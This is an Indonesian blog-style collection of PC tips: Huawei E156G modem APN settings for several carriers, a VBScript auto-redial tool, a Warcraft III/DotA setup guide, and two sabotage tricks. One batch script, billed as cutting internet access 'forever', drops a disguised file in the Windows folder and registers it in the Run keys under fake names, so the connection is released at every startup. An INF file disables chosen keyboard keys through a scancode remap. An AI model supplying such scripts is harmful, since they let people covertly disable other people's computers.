Cara setting modem huawei E156G dengan kartu Three ,Telkomsel ,XL,Im3

• Pertama, siapkan kartu baik itu three ,XL,im3,Telkomsel nanti kita akan memberi masing masing penjelasannya.
• Pasang kartu pada modem.
• Setelah itu colok/masukkan modem pada port usb laptop atau pc anda.
• Jalankan program modem yang sudah terinstal di laptop atau pc anda.
• Setelah menampilkan jendela seperti pada gambar di samping. Sekarang pilih tools – options – profil management kemudian akan muncul kolom-kolom isian(Lihat gambar di Bawah).

Berikut daftar penggunaa beberapa kartu

Untuk kartu ThreeProfil name: Terserah anda
Dial number: *99#
User name: 3data
Password: 3data
APN: 3data

Untuk kartu Telkomsel(AS,simpati)Profil name: Terserah anda
Dial number: *99#
User name:
Password:
APN: Telkomsel

Untuk kartu XLProfil name: Terserah anda
Dial number: *99#
User name: xlgprs
Password: proxl
APN : www.xlgprs.net

Untuk kartu Im3Profil name : Terserah anda
Dial number : *99#
User name :
Password :
APN : www.indosat-m3.net

• Setelah selesai silahkan SAVE dan OK.

Tinggal klik Nama profil yang telah dibuat tadi terus pilih tombol CONNECT 

SCRIPT buat MENONAKTIFKAN koneksi INTERNET selamanya

COPAS pake NOTEPAD.. SAVE AS *.bat

@echo off
cls

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo FREE your...
PAUSE

script auto dial + anti disconect

1. script auto dial:

'@purpose auto re-dial connection
' @author mindhack at your mind
' @license GPL

Dim oDialer : Set oDialer = New Dialer

If oDialer.IsOpen() = True Then
' force the existing connection to close
oDialer.Close()
End If

oDialer.KeepOpen()

Class NetworkStatistic
REM #netstat -e
REM -- output ---------------------------------------------------
REM Interface Statistics
REM
REM Received Sent
REM
REM Bytes 12062314 7767926
REM Unicast packets 69633 68664
REM Non-unicast packets 0 4
REM Discards 0 0
REM Errors 0 0
REM Unknown protocols 0
REM -- end of output ---------------------------------------------

Dim oConsole

Dim InputByteTotal
Dim OutputByteTotal

Dim LastInputByteTotal
Dim LastOutputByteTotal

Dim InitInputByteTotal
Dim InitOutputByteTotal

Dim MaxInputByte
Dim MaxOutputByte

Dim AvgInputByte
Dim AvgOutputByte

Dim InputByte
Dim OutputByte

Dim LastTime
Dim InitTime

Sub Class_Initialize
Set oConsole = New Console
' "BYTE" or "BIT" ? BIT is not yet supported
Unit = "BYTE"
InitTime = Now()
LastTime = InitTime
InitInputByteTotal = 0
InitOutputByteTotal = 0
LastInputByteTotal = 0
LastOutputByteTotal = 0
MaxInputByte = 0
MaxOutputByte = 0
AvgInputByte = 0
AvgOutputByte = 0
End Sub

Function GetByteTotal
Dim cResult
Dim iInputByteTotal, cInputByteTotal
Dim iOutputByteTotal, cOutputByteTotal
Dim iPos, iPos2, iPos3, iPos4

cResult = oConsole.Exec("netstat -e")

iPos = InStr(cResult, "Bytes")
cInputByteTotal = Trim(Mid(cResult, iPos + Len("Bytes") + 1))
iPos2 = InStr(cInputByteTotal, " ")

cOutputByteTotal = Trim(Mid(cInputByteTotal, iPos2 + 1))
iPos3 = InStr(cOutputByteTotal, VbCrLf)

cInputByteTotal = Trim(Left(cInputByteTotal, iPos2))
cOutputByteTotal = Trim(Left(cOutputByteTotal, iPos3))

InputByteTotal = CLng(cInputByteTotal)
OutputByteTotal = CLng(cOutputByteTotal)
LastTime = Now()

End Function

Function Calculate
Dim TimeDiff, TimeDiffInit
TimeDiff = DateDiff("s", LastTime, Now())
TimeDiffInit = DateDiff("s", InitTime, Now())
If LastInputByteTotal = 0 Then
InputByte = 0
OutputByte = 0
LastInputByteTotal = InputByteTotal
LastOutputByteTotal = OutputByteTotal
InitInputByteTotal = InputByteTotal
InitOutputByteTotal = OutputByteTotal
Else
InputByte = InputByteTotal - LastInputByteTotal
OutputByte = OutputByteTotal - LastOutputByteTotal

AvgInputByte = InputByteTotal - InitInputByteTotal
AvgOutputByte = OutputByteTotal - InitOutputByteTotal

LastInputByteTotal = InputByteTotal
LastOutputByteTotal = OutputByteTotal

If TimeDiff = 0 Then
TimeDiff = 1
End If
If TimeDiffInit = 0 Then
TimeDiffInit = 1
End If

InputByte = InputByte / TimeDiff
OutputByte = OutputByte / TimeDiff

AvgInputByte = AvgInputByte / TimeDiffInit
AvgOutputByte = AvgOutputByte / TimeDiffInit
End If

' to bit
InputByte = 8 * InputByte
OutputByte = 8 * OutputByte
AvgInputByte = 8 * AvgInputByte
AvgOutputByte = 8 * AvgOutputByte

If MaxInputByte < InputByte Then
MaxInputByte = InputByte
End If

If MaxOutputByte < OutputByte Then
MaxOutputByte = OutputByte
End If
End Function

Function Write
GetByteTotal
Calculate
oConsole.OverWrite "" & _
"MAX " & FormatNumber(MaxInputByte,0) & _
"/" & FormatNumber(MaxOutputByte,0) & _
" AVG " & FormatNumber(AvgInputByte,0) & _
"/" & FormatNumber(AvgOutputByte,0) & _
" BIT " & FormatNumber(InputByte,0) & _
"/" & FormatNumber(OutputByte,0) & _
""
End Function
End Class


Class Console

Function Exec(cCommand)
' @purpose execute command and return command output as string
Dim oShell, cOut, oExec

Set oShell = WScript.CreateObject ("WScript.shell")
Set oExec = oShell.Exec(cCommand)

cOut = ""

Do Until oExec.StdOut.AtEndOfStream
cOut = cOut & oExec.StdOut.ReadLine() & VbCrLf
Loop

Set oShell = Nothing

Exec = Trim(cOut)
End Function

Function PassThru(cCommand)
' @purpose execute command and write output directly to console
Dim oShell, cOut, oExec

Set oShell = WScript.CreateObject ("WScript.shell")
Set oExec = oShell.Exec(cCommand)

cOut = ""

Do Until oExec.StdOut.AtEndOfStream
Write oExec.StdOut.ReadLine()
Loop

Set oShell = Nothing

PassThru = True
End Function

Function OverWrite(cText)
Dim iLenght
iLenght = 80
cText = FormatDateTime(Now(), 0) & " " & cText
If Len(cText) > iLenght Then
cText = Left(cText, iLenght)
ElseIf Len(cText) < iLenght Then
cText = cText & String(iLenght - Len(cText), " ")
End If
WScript.StdOut.Write String(iLenght, Chr(8)) & cText
End Function

Function Write(cText)
' @purpose write somethis to console, prepended by timestamp
WScript.Echo FormatDateTime(Now(), 0) & " " & cText
End Function
End Class

Class Dialer

' number of milisecond to wait before check connection status
Dim iKeepOpenWait
' idle timeout, not yet implemented
Dim iIdleTimeOut

Dim cConnectionName
Dim cUsername
Dim cPassword
Dim oNetworkStatistic
Dim oConsole

Sub Class_Initialize
Set oConsole = New Console

iKeepOpenWait = 1000
cConnectionName = "top"
cUsername = ""
cPassword = ""
Set oNetworkStatistic = New NetworkStatistic
End Sub

Function Open
Dim cResult
oConsole.Write "Connecting .."
cResult = oConsole.Exec("rasdial """ & cConnectionName & """ " & cUsername & " " & cPassword)
If InStr(cResult, "Successfully connected to ") = 0 Then
oConsole.Write cResult
End If
End Function

Function Close
Dim cResult
oConsole.Write "Disconnecting .."
cResult = oConsole.Exec("rasdial /DISCONNECT")
If InStr(cResult, "Command completed successfully") = 0 Then
oConsole.Write cResult
End If
End Function

Function IsOpen
Dim cResult
cResult = oConsole.Exec("rasdial")
If InStr(cResult, "No connections") > 0 Then
IsOpen = False
Else
IsOpen = True
End If
End Function

Function KeepOpen
Do While True
If IsOpen = False Then
WScript.StdOut.WriteBlankLines 1
Open
End If
oNetworkStatistic.Write
WScript.Sleep iKeepOpenWait
Loop
End Function
End Class

2. script anti diskonek:

---------------------------
echo off
:loop
rasdial.exe x
ping localhost -n y >nul
goto loop
----------------------------

nb:
x = nama dialup y = waktu loop
SAVE AS *.bat, untuk yg dial up Windows Vista (SP1) and Windows XP Pro (SP3) dan dibawahnya.SESUAIIN NAMA koneksi.. USER ama PASS-nya KONEKSI yang dipake.

Jangan lupa BUKANYA jangan pake WSCRIPT default win.. But pake CSCRIPT

Step by Step Instalasi DotA

1) Download Warcraft III

Pertama Download dulu Warcraft-nya.
No istall, jadi setelah download Tinggal di-Ekstrak aj, Gak pake Instalasi.

Warcraft III No Install Part 1 (448,39 MB)
Warcraft III No Install Part 2 (650 MB)

2) Registry InstallPath Warcraft III

Kalau Warcraft sudah di ekstrak sekarang Reg. InstallPath agar komputer bisa mendeteksi dimana lokasi Warcraft III berada, gunanya diantaranya saat ingin menginstall / mengganti patch.

Registry disini..

http://maged.lordaeron.org/WC3InstallPath.php

akan muncul Tab seperti gambar dibawah..

Langkah-langkah:

a. Masukan directory folder “Warcraft III” mu pada web diatas,

contoh “C:\Program Files\Warcraft III”

b. Klik Generate
c. Lalu akan men-download file WC3InstallPath.reg
d. Buka File tadi
e. Jika keluar dialog, klik Yes. jika keluar dialog lagi, klik OK.

3) Download Patch 1.24b

Karena Guide ini ditujukan khusus untuk orang Indonesia, dan mengingat Battle.Net di Indonesia masih menggunakan Basis Patch 1.24b, jadi kalau ingin langsung bermain B.Net harus menginstall patch 1.24b terlebih dahulu.



War3TFT Patch English (56,05 MB)



Tapi sebelumnya pastikan anda sudah melakukan Step ke-2 dengan benar, baru bisa menginstall patch ini.

Gb. Proses Instalasi Patch sukses

4) Download B.net Gateway Editor

Patch sudah sesuai? sekarang Untuk bisa bermain Battle.Net tentunya anda harus Log in di Server B.net. Nah Untuk bisa masuk dalam suatu Server B.Net, anda harus memasukan Nama Server itu, IP Address-nya dan Zone dengan menggunakan tools Bnet Gateway Editor yang bisa kamu dapatkan disini..



BN Gateway Editor



Setelah download, pindahkan filenya ke folder warcraft III mu. langsung buka filenya dan akan muncul tab seperti gambar dibawah..

Cara Setting Gateway :

a. Pada Tab bawah pilih WarCraft3
b. Klik Add Gateway
c. Masukan sesuai Zone dan IP Servernya.
d. OK

List Beberapa Server B.net yang ada di Indonesia.

• NusaReborn
IP : dota.nusa.net.id
Zone : 7

• Indogamers Free
IP : free.indogamers.us
Zone : 7

• Indogamers Public
IP : public.indogamers.us
Zone : 7

• LebAy
IP : bnet.lebay.us
Zone : 7

• RPG
IP : dota.republikgame.in
Zone:7

• MGI
IP : pvpgn.mediagamer.biz
Zone : 7

Dan masih banyak lagi…

5) Download B.net Launcher

Terakhir, download Launcher B-Netnya disini..


Warcraft 3 Launcher


Ekstrak File Zip-nya ke directory folder “Warcraft III” mu.
Jika Ingin Main B.net Ingat, JALANKAN w3l.exe (icon bulat merah seperti gambar di atas). jadi BUKAN yang frozenthrone.exe.

Selesai, selamat bermain! :)

Cara mematikan kinerja huruf pada keyboard

1. Salin baris-baris kode (script) berikut , paste pada Notepad dan 
    simpan dengan nama JAIL.INF

*************************************************
[Version]
Signature=”$Windows NT$”
[DefaultInstall]
AddReg = terserah
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”,0×1,00,00,00,00,00,00,00,00,06,00,00,00,00,00 ,1e,00,00,00,12,00,00,00,17,00,00,00,18,00,00,00,1 6,00,00,00,00,00

—————————————
2. Untuk menjalankannya, klik kanan nama file JAIL.INF dan pilih menu> 

Install

3. Log Off komputernya agar trik ini berfungsi.

NB :
kata terserah:untunk mematikan fungsi kinerjannya pada keyboard, contoh: aben^%$92e maka contoh tersebut akan mematikan fungsi kinerjanya pada keyboard^^
_______________________________________________________________________________


Untuk menormalkannya, silahkan salin script berikut :

[Version]
Signature=”$Windows NT$”
[DefaultInstall]
DelReg =normal
[normal]
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”

—————————————
—> Simpan dengan nama “NORMAL.INF”

Klik kanan file ini, pilih >Install

Log Off komputernya.